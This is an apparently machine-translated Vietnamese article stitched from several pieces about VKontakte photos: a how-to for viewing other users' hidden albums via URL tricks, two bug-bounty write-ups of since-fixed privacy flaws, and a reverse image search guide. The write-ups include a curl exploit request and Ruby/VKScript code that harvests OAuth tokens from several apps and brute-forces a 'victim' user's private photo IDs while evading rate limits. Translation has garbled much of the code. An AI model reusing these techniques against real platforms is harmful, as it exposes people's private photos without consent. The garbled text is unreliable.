Xem ảnh và album ẩn. Cách xem ảnh ẩn trong liên hệ qua mã nguồn Ảnh riêng tư VK

Thật khó để tìm thấy một người dùng máy tính chưa từng nghe đến hoặc chưa đăng ký trên mạng xã hội VKontakte. Giao tiếp Internet đã chiếm lĩnh con người hiện đại đến mức chúng ta không còn có thể tưởng tượng được thời gian rảnh rỗi, hay thậm chí cuộc sống nói chung của chúng ta nếu không có chúng. Có trang riêng của mình trên VK, bạn vô tình nhận thấy nhiều sắc thái mà tài nguyên này che giấu, nhưng không phải tất cả chúng đều dễ dàng giải quyết. Đối với nhiều người dùng, tất cả những điều phức tạp và phức tạp này đều gây khó khăn nên không thể thực hiện được điều này nếu không có sự trợ giúp từ bên ngoài.


Ví dụ: nhận được nhiều câu hỏi về cách ẩn ảnh trên VKontakte. Nhưng điều đó xảy ra là bạn rất cần được xem ảnh của anh ấy. Tôi sẽ không nói về khía cạnh đạo đức của ý định này nhưng tôi sẽ đưa ra cho bạn một phương pháp có thể hữu ích.

Cách ẩn ảnh

Trước khi đi thẳng vào chủ đề của bài viết này, tôi muốn nhắc bạn cách bạn có thể ẩn ảnh của mình. Tôi nghĩ rằng những thông tin như vậy sẽ thú vị với nhiều người và những ai đã có nó có thể làm mới kiến ​​​​thức của mình. Vì vậy, nó diễn ra như thế này:

  1. Đăng nhập vào VKontakte sau khi nhập thông tin đăng nhập cá nhân của bạn.
  2. Ở phía bên trái của cửa sổ, tìm dòng “Cài đặt của tôi” và nhấp vào nó.
  3. Tiếp theo, mở tab “Quyền riêng tư”.
  4. Sẽ có một danh sách các cài đặt mà bạn có thể thay đổi theo ý thích của mình. Ở đây bạn cũng có thể,. Trong số đó, hãy tìm kiếm “Ai nhìn thấy những bức ảnh mà tôi được gắn thẻ”. Có một danh sách thả xuống bên cạnh cho phép bạn chọn vòng kết nối những người sẽ xem ảnh của bạn. Vì vậy, bạn có thể chọn “Chỉ bạn bè” hoặc thậm chí ẩn ảnh với mọi người bằng cách nhấp vào “Chỉ tôi”.

Khi các cài đặt này được thực hiện, các thay đổi sẽ có hiệu lực ngay lập tức.

Cách xem ảnh ẩn

Bây giờ, thực ra, đến câu hỏi chính: làm thế nào bạn có thể xem ảnh của những người bị hạn chế quyền truy cập? Không có câu trả lời trực tiếp cho câu hỏi này, vì chính quyền VK cho rằng quyền riêng tư của người khác cần được tôn trọng. Tuy nhiên, nếu tình huống đó không còn lựa chọn nào khác, tôi khuyên bạn nên sử dụng tùy chọn này.


Tôi muốn bạn chú ý đến một thực tế là phương pháp này không được chính quyền VK chấp thuận nên có thể ngừng hoạt động bất cứ lúc nào. Không có công thức chung nên bạn không nên đặt quá nhiều hy vọng. Trong mọi trường hợp, tôi chúc bạn may mắn!

Nhiều người dùng hạn chế quyền truy cập xem ảnh của họ bằng cách sử dụng . Hoặc tùy chọn này có thể thực hiện được khi album không được xuất bản trên trang - bạn chỉ không biết cách truy cập chúng (xem).

Nhưng tôi thực sự muốn xem những gì người dùng đã ẩn. Hãy tìm ra nó cách xem ảnh ẩn trên VKontakte.

Sử dụng id trang để xem ảnh ẩn

Chuyển đến trang của người dùng mong muốn và sao chép id của anh ấy từ thanh địa chỉ (xem).

Trong trường hợp không có giá trị kỹ thuật số cho id và thay vào đó, biệt danh do người dùng chọn được chỉ định, thì bạn cần thực hiện như sau.

Bạn cần phải vào để xem bất kỳ phần nào trong hồ sơ của người dùng. Cách dễ nhất là mở hình đại diện của bạn.

Bây giờ hãy quay lại thanh địa chỉ. Tìm phần tiếp theo của mã "z=photo233054".

Các số sau từ “ảnh” chính là id. Trong trường hợp này, đây là giá trị - 233054. Bây giờ chúng ta hãy chuyển sang bước tiếp theo.

Cách xem ảnh và album riêng tư trên VKontakte

Nếu bạn nhìn vào trang của người dùng có id mà chúng tôi vừa nhận được, bạn sẽ thấy rằng chỉ có một ảnh để xem. Và không có khối “Album ảnh”. Điều này có nghĩa là tất cả ảnh và album đều bị ẩn (xem).

Vì vậy, chúng ta hãy nhìn vào chúng rồi. Để thực hiện việc này, hãy quay lại thanh địa chỉ và nhập văn bản sau:

https://vk.com/albums***

Như bạn có thể thấy, có hơn 500 bức ảnh ở đây.

Có một mã thay thế. Anh ta đây rồi:

https://vk.com/id***?z=albums***

Nhập nó vào thanh địa chỉ và thay vì dấu hoa thị, hãy viết lại id. Tiếp theo "Nhập". Kết quả sẽ giống nhau.

Ngày 10 tháng 2 năm 2016 lúc 03:23 chiều

Lỗ hổng VKontakte: quyền truy cập vào bản xem trước ảnh từ các hộp thoại và album ẩn của bất kỳ người dùng nào

Ngắn

Một lỗ hổng được phát hiện trong phiên bản di động của trang web vk.com. Nó cho phép bạn xem bản xem trước của ảnh ẩn, bao gồm ảnh từ cuộc trò chuyện của người dùng, ngoài ra bạn có thể lấy thông tin về những người dùng thích ảnh ẩn này. Hiện tại, lỗ hổng này không còn tồn tại nữa - nó đã được sửa cách đây sáu tháng. VKontakte bày tỏ lòng biết ơn của họ với số tiền 700 USD (không, không phải bằng phiếu bầu).

Mọi việc đã bắt đầu thế nào

Trong suốt buổi học, bạn bị phân tâm bởi mọi thứ, chỉ là không chuẩn bị cho kỳ thi. Vì vậy, khi tôi biết về chương trình Bug Bounty của VKontakte trên hackerone.com, thay vì chuẩn bị cho kỳ thi, tôi bắt đầu tìm kiếm các lỗ hổng. Vì lý do nào đó, tôi ngay lập tức bị thu hút để tìm kiếm các lỗ hổng liên quan đến ảnh và cài đặt quyền riêng tư ẩn, và hóa ra, điều đó không hề vô ích.

Tìm kiếm lỗ hổng trên phiên bản đầy đủ của trang web

Giả sử rằng tôi biết id của bức ảnh ẩn (xem thêm về việc tìm nó bên dưới), tôi bắt đầu cố gắng thay thế id này trong tất cả các loại yêu cầu cuộn tròn - Tôi đã thử lưu các hình ảnh ẩn vào album của mình, gắn thẻ mình vào đó, thích, đăng lại, v.v. không có kết quả khả quan nào cho đến khi tôi cố gắng gửi một bức ảnh ẩn lên tường của mình. Kết quả thật kỳ lạ - trong bảng điều khiển, yêu cầu trả về kết quả chính xác và một bài đăng mới xuất hiện trên tường, nhưng dù tôi có cố gắng thế nào đi chăng nữa. , mọi thứ đã bị dừng trên máy chủ khi cố gắng gửi một bức ảnh ẩn lên tường - các bài đăng đều trống.

Chuyển sang phiên bản di động

Sau đó, tôi nhớ đến nhận xét này và quyết định thử làm điều tương tự trên phiên bản di động của trang web.

Gửi ảnh lên tường:

Curl "http://m.vk.com/wall53083705" -H "Cookie: remixsid=#remixsid" --data "act=post&hash=#hash&attach1_type=photo&attach1=idOwnerPhoto_idHiddenPhoto" # photo id bao gồm hai phần được phân tách bằng dấu gạch dưới idOwnerPhoto_idHiddenPhoto
Yêu cầu này không được hoàn thành chính xác, nhưng sau khi làm mới trang, tôi rất ngạc nhiên khi thấy một bản sao nhỏ của bức ảnh đính kèm xuất hiện trên mẫu gửi.

Kích thước ảnh tối đa là 130x130, nhưng điều này đủ để chẳng hạn như nhận dạng khuôn mặt trong ảnh. Nỗ lực lấy liên kết tới bức ảnh đầy đủ đã không thành công. Rõ ràng, sau khi lỗ hổng này được đóng, không thể dễ dàng lấy được các liên kết trực tiếp đến kích thước đầy đủ từ phiên bản di động của trang web.

Duyệt ảnh

Đã tìm thấy lỗ hổng. Để khai thác lỗ hổng được tìm thấy, bạn cần lấy id của ảnh bị tấn công.

ID ảnh bao gồm hai phần: photo12345_330000000 (Owner_idPhoto), phần thứ hai phát triển từ ảnh này sang ảnh khác nhưng đây không phải là mức tăng tự động thông thường. Vì thuật toán lựa chọn bước chưa xác định nên chúng tôi sẽ lặp lại bước 1.

Để liệt kê chúng ta sẽ sử dụng phương thức api ảnh.delete. Đối với tất cả các ảnh hiện có (bao gồm cả ảnh bị ẩn), phương thức này sẽ trả về mã lỗi: 15. Và đối với tất cả các giấy tờ tùy thân có ảnh không tồn tại, một giấy tờ tùy thân sẽ được trả lại.

Tốc độ tìm kiếm
Từ bài viết này, bạn có thể học cách sắp xếp nhanh chóng các bức ảnh. Đúng, dữ liệu trong đó không phải là dữ liệu mới nhất, nhưng ngay cả khi bạn tính đến việc số lượng ảnh trong năm tăng gấp đôi, thời gian tìm kiếm vẫn có thể chấp nhận được.
để tìm ra các liên kết trực tiếp tới ảnh của người dùng, chẳng hạn như từ năm ngoái, bạn chỉ cần sắp xếp qua 30 triệu (từ _320000000 đến _350000000) các biến thể liên kết khác nhau

Bằng cách sử dụng khả năng tăng tốc tìm kiếm từ bài viết được đề cập, ảnh của người dùng có thể được tìm kiếm:

trong 1 phút sẽ có được tất cả ảnh của bạn từ hôm qua, trong 7 phút - tất cả ảnh được tải lên vào tuần trước, trong 20 phút - tháng trước, trong 2 giờ - năm ngoái.
Loại bỏ mở/ẩn
Sau khi nhận được liên kết đến tất cả ảnh (cả ẩn và mở) của người dùng, bạn chỉ có thể chọn những ảnh bị ẩn bằng cách cố gắng lấy thông tin về ảnh bằng phương thức photos.getById. Những ảnh không được trả về thông tin bằng phương pháp này sẽ bị ẩn.

Thông tin về người dùng thích

Cũng có thể nhận ra những người dùng thích bức ảnh ẩn. Phương thứclike.getList trả về tất cả người dùng đã thêm một đối tượng nhất định vào danh sách lượt thích của họ, ngay cả khi đối tượng đó bị ẩn đối với người dùng đang chạy phương thức này.

Báo cáo cho hackerone

Báo cáo của tôi đã được mở vào tháng Sáu. Họ đóng lỗ hổng này sau hai tháng rưỡi mà không cho tôi biết bất cứ điều gì. Một tháng sau, tôi nhận được phản hồi rằng lỗ hổng đã được xác nhận và đóng lại. Và sau một thời gian tôi đã nhận được phần thưởng.

P.S.: đối với những người đang cố gắng rút phần thưởng từ hackerone.com sang tài khoản paypal mới lần đầu tiên, tôi khuyên bạn nên đọc kỹ các điều khoản và điều kiện. Paypal, khi chuyển tiền, có thể, mà không cần sự đồng ý của bạn, chuyển đổi phần thưởng thành loại tiền tệ của quốc gia được chỉ định trong hồ sơ của bạn.

tl;dr

Một lỗ hổng đã được phát hiện trong dấu trang VK, khiến nó có thể nhận liên kết trực tiếp đến ảnh riêng tư từ tin nhắn và album cá nhân của bất kỳ người dùng/nhóm nào. Một tập lệnh đã được viết để sắp xếp ảnh của người dùng trong một khoảng thời gian nhất định và sau đó, thông qua lỗ hổng này, đã nhận được các liên kết trực tiếp đến hình ảnh. Tóm lại, bạn có thể lấy tất cả ảnh của mình từ ngày hôm qua trong 1 phút, tất cả ảnh được tải lên vào tuần trước trong 7 phút, tháng trước trong 20 phút, năm ngoái trong 2 giờ. Lỗ hổng hiện đã được khắc phục. Ban quản lý VKontakte đã trả thưởng 10k phiếu bầu.


Câu chuyện bắt đầu khi một hình ảnh được gửi cho tôi trong tin nhắn cá nhân trên VKontakte. Thông thường, nếu có điều gì đó quan trọng, tôi tải nó lên đám mây, nhưng trong trường hợp của tôi, điều này không cần thiết và tôi quyết định sử dụng chức năng đánh dấu trang VKontakte.

Nói ngắn gọn về chức năng này: tất cả những thứ mà người dùng thích sẽ được thêm vào dấu trang; Ngoài ra còn có chức năng thêm liên kết tới người dùng và liên kết VKontakte nội bộ theo cách thủ công. Điểm cuối cùng có vẻ rất thú vị đối với tôi, vì sau khi thêm liên kết vào ảnh, tôi thấy bản xem trước và văn bản của nó với loại thực thể được thêm vào:

Khi một liên kết được thêm vào, máy chủ sẽ phân tích nó, cố gắng tìm ra thực thể mà nó đề cập đến và lấy thông tin về đối tượng này từ cơ sở dữ liệu. Thông thường, khi viết loại hàm này với nhiều điều kiện, khả năng người phát triển sẽ quên điều gì đó là rất cao. Vì vậy, tôi không thể bỏ qua nó và quyết định dành vài phút để thử nghiệm một chút.

Kết quả là tôi đã tìm được thứ gì đó. Bằng cách thêm liên kết vào ảnh, ghi chú hoặc video không thể truy cập được, bạn có thể nhận được một ít thông tin cá nhân về đối tượng. Trong trường hợp ảnh và video, đây là bản xem trước nhỏ (150x150), trên đó khá khó nhìn thấy bất cứ thứ gì; tiêu đề được hiển thị để ghi chú riêng tư. Thông qua phương pháp API fave.getLiên kết Có thể lấy liên kết tới hình ảnh, nhưng kích thước lại quá nhỏ (75px và 130px). Vì vậy, về cơ bản, không có gì nghiêm trọng.

Tôi quyết định truy cập phiên bản di động của trang web để kiểm tra xem mọi thứ có được hiển thị ở đó giống như phiên bản thông thường hay không. Nhìn vào mã trang, tôi thấy điều này:

Đúng! Trong giá trị thuộc tính dữ liệu-src_big có một liên kết trực tiếp đến hình ảnh gốc!

Do đó, có thể nhận được liên kết trực tiếp tới bất kỳ hình ảnh nào trên VKontakte, bất kể nó được tải lên ở đâu và nó có cài đặt quyền riêng tư nào. Đây có thể là hình ảnh từ tin nhắn cá nhân hoặc ảnh từ album riêng tư của bất kỳ người dùng/nhóm nào.

Có vẻ như tôi có thể dừng lại ở đó và viết thư cho các nhà phát triển, nhưng tôi tự hỏi liệu bằng cách khai thác lỗ hổng này, liệu có thể truy cập vào tất cả (hoặc được tải xuống trong một khoảng thời gian nhất định) ảnh của người dùng hay không. Vấn đề chính ở đây, như bạn hiểu, là liên kết đến ảnh riêng tư của biểu mẫu không phải lúc nào cũng được biết ảnhXXXXXX_XXXXXXXXXđể thêm vào dấu trang của bạn. Ý nghĩ tìm kiếm id của bức ảnh xuất hiện trong đầu tôi, nhưng không hiểu sao tôi ngay lập tức từ chối nó như một điều điên rồ. Tôi đã kiểm tra các phương pháp liên quan đến ảnh trong API, xem cách ứng dụng hoạt động với album nhưng tôi không thể tìm thấy bất kỳ rò rỉ nào có thể giúp tôi có được danh sách ID của tất cả ảnh riêng tư của người dùng. Tôi đã định từ bỏ ý định này, nhưng nhìn lại đường link kèm theo bức ảnh, tôi chợt nhận ra rằng đi quá xa là một ý tưởng hay.

Cách ảnh hoạt động trong VK

Làm thế nào bạn có thể thay thế, liên kết đến ảnh ảnh52708106_359542386 gồm có hai phần: (id người dùng)_(một số số lạ). Phần thứ hai được hình thành như thế nào?

Than ôi, sau hai giờ thử nghiệm, tôi vẫn không hiểu được điều này. Vào năm 2012, tại HighLoad++, Oleg Illarionov đã nói vài lời về cách họ lưu trữ ảnh, về phân đoạn theo chiều ngang và lựa chọn ngẫu nhiên máy chủ để tải lên, nhưng thông tin này không cung cấp cho tôi bất kỳ thông tin gì vì không có kết nối nào giữa id máy chủ và ảnh id. Rõ ràng là có một số loại bộ đếm toàn cầu, nhưng có một số logic khác ở đó... Bởi vì nếu số thứ hai được hình thành bằng cách sử dụng tính năng tự động tăng thông thường, thì giá trị của ID ảnh từ lâu đã đạt đến giá trị khổng lồ ​​(ví dụ đối với Facebook, hiện tại là ~ 700 nghìn tỷ), nhưng đối với Vkontakte, giá trị này chỉ là ~ 400 triệu (mặc dù, xét theo số liệu thống kê, hằng ngày người dùng tải lên hơn 30 triệu bức ảnh). Những thứ kia. Rõ ràng con số này không phải là duy nhất nhưng đồng thời cũng không phải là ngẫu nhiên. Tôi đã viết một đoạn script xem qua các bức ảnh của những người dùng “cũ” và sử dụng dữ liệu nhận được để lập biểu đồ về mức độ thay đổi của con số này theo từng bức ảnh. năm:

Có thể thấy các giá trị dao động tùy thuộc vào một số yếu tố (số lượng máy chủ hay logic mới?). Nhưng vấn đề là chúng đủ nhỏ (đặc biệt là trong 2-3 năm gần đây) và rất dễ tính toán phạm vi id trong khoảng thời gian mong muốn. Nghĩa là, để tìm ra các liên kết trực tiếp đến ảnh của người dùng, chẳng hạn như từ năm ngoái, bạn cần cố gắng đánh dấu chỉ 30 triệu (từ _320000000 đến _350000000) các biến thể liên kết khác nhau! Dưới đây tôi đã mô tả một kỹ thuật bạo lực cho phép tôi thực hiện việc này chỉ trong vài phút.

Đi qua các bức ảnh

Bạn có thể thêm tất cả những thứ này theo cách thủ công thông qua giao diện hoặc viết một tập lệnh thêm một liên kết vào dấu trang, nhưng điều đó sẽ nhàm chán và tốn thời gian. Tốc độ tìm kiếm trong trường hợp này sẽ là 3 dấu trang mỗi giây, bởi vì gửi nhiều hơn ba yêu cầu mỗi giây đến máy chủ Vkontakte nó bị cấm.

Tăng tốc tìm kiếm x25

Để vượt qua giới hạn 3 yêu cầu ít nhất một chút, tôi quyết định sử dụng phương pháp hành hình. Trong một lệnh gọi phương thức này, có thể thực hiện được 25 lệnh gọi tới phương thức API.

Var start = ParseInt(Args.start); var end = parsInt(Args.end); var nạn nhânId = Args.id; var link = "http://vk.com/photo" + Nạn nhânId + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
Do đó, chúng tôi đã cố gắng tăng tốc độ bạo lực lên 3*25 dấu trang/giây. Trong năm qua, việc sắp xếp các bức ảnh sẽ mất nhiều thời gian, nhưng trong thời gian ngắn, phương pháp sắp xếp này đã khá tốt.

Chúng tôi tăng tốc tìm kiếm x25 * số lượng yêu cầu song song mỗi giây

Giới hạn về số lượng yêu cầu/giây áp dụng cho từng ứng dụng riêng biệt chứ không áp dụng cho toàn bộ người dùng. Vì vậy, không có gì ngăn cản bạn gửi nhiều yêu cầu song song nhưng đồng thời sử dụng mã thông báo từ các ứng dụng khác nhau.

Đầu tiên chúng tôi cần tìm (hoặc tạo) số lượng ứng dụng cần thiết. Một tập lệnh đã được viết để tìm kiếm các ứng dụng độc lập trong một phạm vi định danh ứng dụng nhất định:

Lớp StandaloneAppsFinder attr_reader:app_ids def khởi tạo(params) @range = params[:in_range] @app_ids = end def search (@range).mỗi do |app_id| phản hồi = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").đọc ứng dụng = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Cũng có thể chọn ứng dụng theo số lượng người dùng để tăng tốc độ tìm kiếm hơn nữa:

Nhưng tôi quyết định không bận tâm đến nó.

Ok, các ứng dụng đã được tìm thấy, bây giờ họ cần cấp quyền cho dữ liệu của người dùng của chúng tôi và nhận mã thông báo. Để được ủy quyền, chúng tôi phải sử dụng cơ chế Dòng ngầm. Tôi đã phải phân tích cú pháp URL ủy quyền từ hộp thoại OAuth và lấy mã thông báo sau khi chuyển hướng. Lớp này yêu cầu cookie để hoạt động. p, tôi(đăng nhập.vk.com) và remix(vk.com):

Trình xác thực lớp attr_reader:access_tokens def khởi tạo(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = end def Authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Vì có nhiều ứng dụng được tìm thấy nên cũng có rất nhiều yêu cầu song song được thực hiện. Để song song hóa toàn bộ vấn đề này, người ta đã quyết định sử dụng đá quý Typhoeus, loại đá quý đã chứng tỏ mình xuất sắc trong các nhiệm vụ khác. Kết quả là một lực lượng vũ phu nhỏ như thế này:

Lớp PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "hôm nay" => 366300000..366500000, "ngày hôm qua" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 3600000 65000000, "current_year" = > 350000000..366500000, "last_year" => 320000000..350000000 ) def khởi tạo(params) @victim_id = params[:victim_id] @ Period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokenIterator = 0 (@ Period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" mã hóa_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokenIterator = tokenIterator == token.count - 1 ? 0: tokenIterator + 1 hydra.queue Typhoeus::Request.new được mã hóa_url hydra.run nếu tokenIterator.zero? kết thúc hydra.run trừ khi hydra.queued_requests.count.zero? kết thúc vkscript def riêng tư(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Để tăng tốc độ bạo lực hơn nữa, đã có nỗ lực loại bỏ cơ thể không cần thiết trong phản ứng, nhưng CÁI ĐẦU Yêu cầu máy chủ VKontakte trả về lỗi 501 Không được triển khai.

Phiên bản cuối cùng của tập lệnh trông như thế này:

Yêu cầu "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, Period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookie từ login.vk.com # remixsid - cookie từ vk.com Authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") Authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Sau khi chạy chương trình, dấu trang sẽ chứa tất cả ảnh của người dùng trong một khoảng thời gian nhất định. Tất cả những gì còn lại là truy cập phiên bản di động của VKontakte, mở bảng điều khiển trình duyệt, lấy ra các liên kết trực tiếp và thưởng thức những bức ảnh ở kích thước ban đầu.

Kết quả

Nói chung, tất cả phụ thuộc vào kết nối Internet của bạn và tốc độ của máy chủ proxy, độ trễ của máy chủ Vkontakte, sức mạnh bộ xử lý và nhiều yếu tố khác. Sau khi thử đoạn script trên trên tài khoản của mình, tôi nhận được những con số sau (không tính đến thời gian nhận mã thông báo):

Bảng hiển thị thời gian trung bình cần thiết để thử giấy tờ tùy thân có ảnh trong một khoảng thời gian nhất định. Tôi chắc chắn rằng tất cả điều này có thể được tăng tốc lên 10-20 lần. Ví dụ: trong tập lệnh brute Force, hãy tạo một hàng đợi lớn chứa tất cả các yêu cầu và đồng bộ hóa bình thường giữa chúng, bởi vì trong quá trình triển khai của tôi, một yêu cầu có thời gian chờ sẽ làm chậm toàn bộ quá trình. Và nói chung, bạn chỉ cần mua một vài phiên bản trên EC2 và nhận được tất cả ảnh của bất kỳ người dùng nào trong một giờ. Nhưng tôi đã muốn đi ngủ rồi.

Và nói chung, kẻ tấn công dành bao nhiêu thời gian cho việc này không quan trọng, 5 giờ hay cả ngày, bởi vì bằng cách này hay cách khác, hắn sẽ nhận được liên kết đến các hình ảnh riêng tư. Khả năng truy cập thông tin cá nhân một cách an toàn trong một khoảng thời gian hữu hạn là mối đe dọa chính do lỗ hổng này gây ra.

Báo cáo lỗ hổng

Lúc đầu, báo cáo được gửi đến bộ phận hỗ trợ, nhưng sau khi nhận được phản hồi như “cảm ơn bạn, có lẽ chúng tôi sẽ khắc phục được bằng cách nào đó…” và một tuần chờ đợi, tôi cảm thấy hơi buồn. Cảm ơn bạn rất nhiều vì đã giúp liên hệ trực tiếp với các nhà phát triển. Sau đó lỗi đã được khắc phục trong vòng vài giờ và vài ngày sau chính quyền đã chuyển phần thưởng trị giá 10k vào tài khoản của tôi

Hôm nay chúng tôi sẽ kể cho bạn nghe, những độc giả thân mến, về một tính năng cực kỳ khác thường có trong VK - tìm kiếm những bức ảnh tương tự, khi bạn có thể tìm thấy những người dùng có cùng một hình ảnh được tải lên hồ sơ của họ.

Tại sao điều này là cần thiết, bạn hỏi? Có hai lý do chính.

  • Đầu tiên. Bằng cách tìm kiếm những hình ảnh giống hệt nhau, bạn luôn có thể tìm thấy (hoặc không tìm thấy) người đang sử dụng ảnh của mình. Nói cách khác, bạn sẽ có thể phát hiện bản sao của chính mình.
  • Lý do thứ hai. Giả sử bạn cần tìm một người nhưng bạn chỉ có ảnh của người đó. Với sự trợ giúp của nó, bạn có thể sử dụng tính năng tìm kiếm hình ảnh trên VK và rất có thể bạn sẽ tìm thấy người mình đang tìm kiếm.

Điều đáng chú ý là có rất nhiều dịch vụ tìm kiếm ảnh, chẳng hạn như Google có, nhưng trong trường hợp này, việc tìm kiếm không được thực hiện trên toàn bộ Internet mà chỉ trên VKontakte.

Tìm kiếm người dùng bằng hình ảnh

Hãy bắt đầu tìm kiếm. Giả sử chúng ta cần tìm bản sao hoặc người dùng đã tải lên một bức ảnh nhất định.

Bước đầu tiên là mở hình ảnh mà chúng ta đang tìm kiếm. Nếu nó chưa được tải lên album ảnh của bạn, hãy tải xuống.

Mở một hình ảnh, ví dụ:

Chúng ta nhìn vào thanh địa chỉ của trình duyệt. Bạn sẽ thấy một địa chỉ như thế này: https://vk.com/photo*********_384******. Dưới những vì sao hình chụp******** của bạn đang ẩn, và những con số 384****** , nằm sau dấu gạch dưới, là số ảnh. Sao chép địa chỉ này, nhưng không có https://vk.com/, nghĩa là bạn sẽ thành công ảnh********_384******.

Đóng tab hoặc để mở và mở một tab mới, truy cập trang VK và chọn phần “Tin tức của tôi” trong menu. Bạn sẽ thấy một nguồn cấp tin tức:

Nếu có mục “Ảnh” bên cạnh tiểu mục “Nguồn cấp dữ liệu”, hãy bỏ qua bước này. Nếu thiếu mục, hãy nhấp vào dấu thập và thêm mục “Ảnh”.

Bấm vào mục “Hình ảnh”. Thanh tìm kiếm “Tìm kiếm bằng Ảnh” sẽ xuất hiện.

Chúng tôi viết một từ trong một dòng sao chép: và thêm một liên kết đến ảnh mà chúng tôi đã sao chép trước đó, nghĩa là bạn sẽ nhận được một cái gì đó như thế này: bản sao:ảnh **********_384******. Xin lưu ý rằng các dấu hoa thị chỉ là ví dụ, bên dưới là id và số sê-ri của ảnh! Ví dụ: nếu chúng ta chụp một bức ảnh cụ thể của Pavel Durov để tìm kiếm, thì ở dòng chúng ta cần viết chẳng hạn: bản sao:photo1_327778612, trong đó photo1 là id người dùng (trong trường hợp này là Durova) và 327778612 là số sê-ri của ảnh. Sau đó nhấn phím Enter.

Trong trường hợp của chúng tôi, chúng tôi có thể phát hiện 7 bức ảnh giống hệt nhau.

Nếu bạn nhấp vào từng cái, bạn có thể biết hình ảnh đã được tải lên người dùng hoặc công chúng nào. Có thể, việc tìm kiếm chỉ được thực hiện trên những bức ảnh thuộc phạm vi công cộng. Chúng tôi không thể tìm thấy bất kỳ hình ảnh nào bị chặn xem.